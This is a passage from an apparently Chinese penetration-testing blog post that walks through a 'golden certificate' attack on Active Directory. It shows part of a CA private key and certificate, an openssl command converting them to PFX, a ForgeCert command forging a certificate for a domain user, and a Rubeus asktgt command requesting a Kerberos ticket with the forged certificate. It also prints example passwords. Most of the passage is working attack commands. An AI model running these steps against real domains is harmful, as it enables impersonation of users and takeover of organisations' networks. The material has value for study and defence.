  25. GsFmaX586Yl7BlOoWFFHd8hLwx5Blt12//q9IFEQMIqSo0/4X2JbSyb87cM9ppRb
  26. LmMpxKHZLdA8LKgOXpLajjLs6E3WKFWi6onBerQ9UOz3v3fjcGk=
  27. -----END RSA PRIVATE KEY-----
  28. -----BEGIN CERTIFICATE-----
  29. MIIDXzCCAkegAwIBAgIQHLWcNl+enYBDrnZIDpBhWzANBgkqhkiG9w0BAQsFADBC
  30. MRMwEQYKCZImiZPyLGQBGRYDY29tMRMwEQYKCZImiZPyLGQBGRYDc3VuMRYwFAYD
  31. VQQDEw1zdW4tTUFUUklYLUNBMB4XDTIyMDUwNzA4MjExMloXDTI3MDUwNzA4MzEx
  32. MlowQjETMBEGCgmSJomT8ixkARkWA2NvbTETMBEGCgmSJomT8ixkARkWA3N1bjEW
  33. MBQGA1UEAxMNc3VuLU1BVFJJWC1DQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
  34. AQoCggEBAKxsP8PJBR1B34fXQ5z9CQNKzV83x+ED0ozbfCmeh/xweg3y4WBZgkOS
  35. ApmQoRdXF/41E4KDFECisKS+T1T5ihKVOaVTFiqSdEH0lKNW6SpvA3ZvNlfeS/Hb
  36. pV0KE75O1C0Ta1eRm/WX0zQyKpb08Xwwi73qBLJeOyp4HsEJiVjpgiVQCmhtiGDj
  37. J+WgmgmzBquWtmWrJ/svHICZ1LtlxXrBBg/T2CV3GrVzYqx8roLaFs3jjRvM0msw
  38. Oy1MXO3Oae0wPnSpdLETAKEFG2ggnlKpbvrNWnfBc2zjkLjW1Rl1lUAsMEIoGM4b
  39. e7YSBAUwMFvjcUHzAsSjX3pnstp6tmECAwEAAaNRME8wCwYDVR0PBAQDAgGGMA8G
  40. A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE38bnpAIzVQfsJFhgc1pfo+FoghMBAG
  41. CSsGAQQBgjcVAQQDAgEAMA0GCSqGSIb3DQEBCwUAA4IBAQA0AONEbI2f9BxOAfxX
  42. ZEMfQKnLApRkXq0PUYqcKaTiystMYHzc8DC1Y+jZo4ch+vyqzYRZ45WRcDC21gi8
  43. y9Atsl8IvbwOkFvsbQtcf28Nbb2Dh6UYqpuzDUd/NuIZNMrSkjaBtzYuxmFzN7+l
  44. VjBzm3rhh8ycVB4Hr99Me2cCjjtxEju73qASs941VLI/V3nWXeVlqNMbdVuhuO6r
  45. SCqM991KuvO6LWZ/aSUpUxiltObN99l7JJnhHLDGh5P/EQLxrrDSXywFhhnq2Toj
  46. Jt97Egk00E+hAK7BGV2XXUJxc7pdmz2S9V5Wimp+DdSF9Mrnv7v8H7CGRx71Irad
  47. Jk4X
  48. -----END CERTIFICATE-----

按照提示将pem文件转换为PFX文件

  1. openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

输入的密码需要牢记,后面伪造证书时需要

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制作伪造证书

使用ForgeCert,参考:https://github.com/GhostPack/ForgeCert

P12和PFX使用方法是一致的

CaCertPassword:导出证书时设置的密码 NewCertPassword:伪造证书添加的密码

  1. ForgeCert.exe --CaCertPath cert.pfx --CaCertPassword "Wsx123." --Subject "CN=User" --SubjectAltName "matrix@sun.com" --NewCertPath new.pfx --NewCertPassword "Password123!"

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获取ticket.kirbi

利用Rubeus获取ticket.kirbi

  1. Rubeus.exe asktgt /user:matrix /certificate:new.pfx /password:Password123!

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注意

伪造证书的账户需要时域用户或者机器账户,不能是krbtgt账户

希望可以帮到各位师傅!

  • 发表于 2022-05-24 09:32:57
  • 阅读 ( 23048 )
  • 分类:渗透测试

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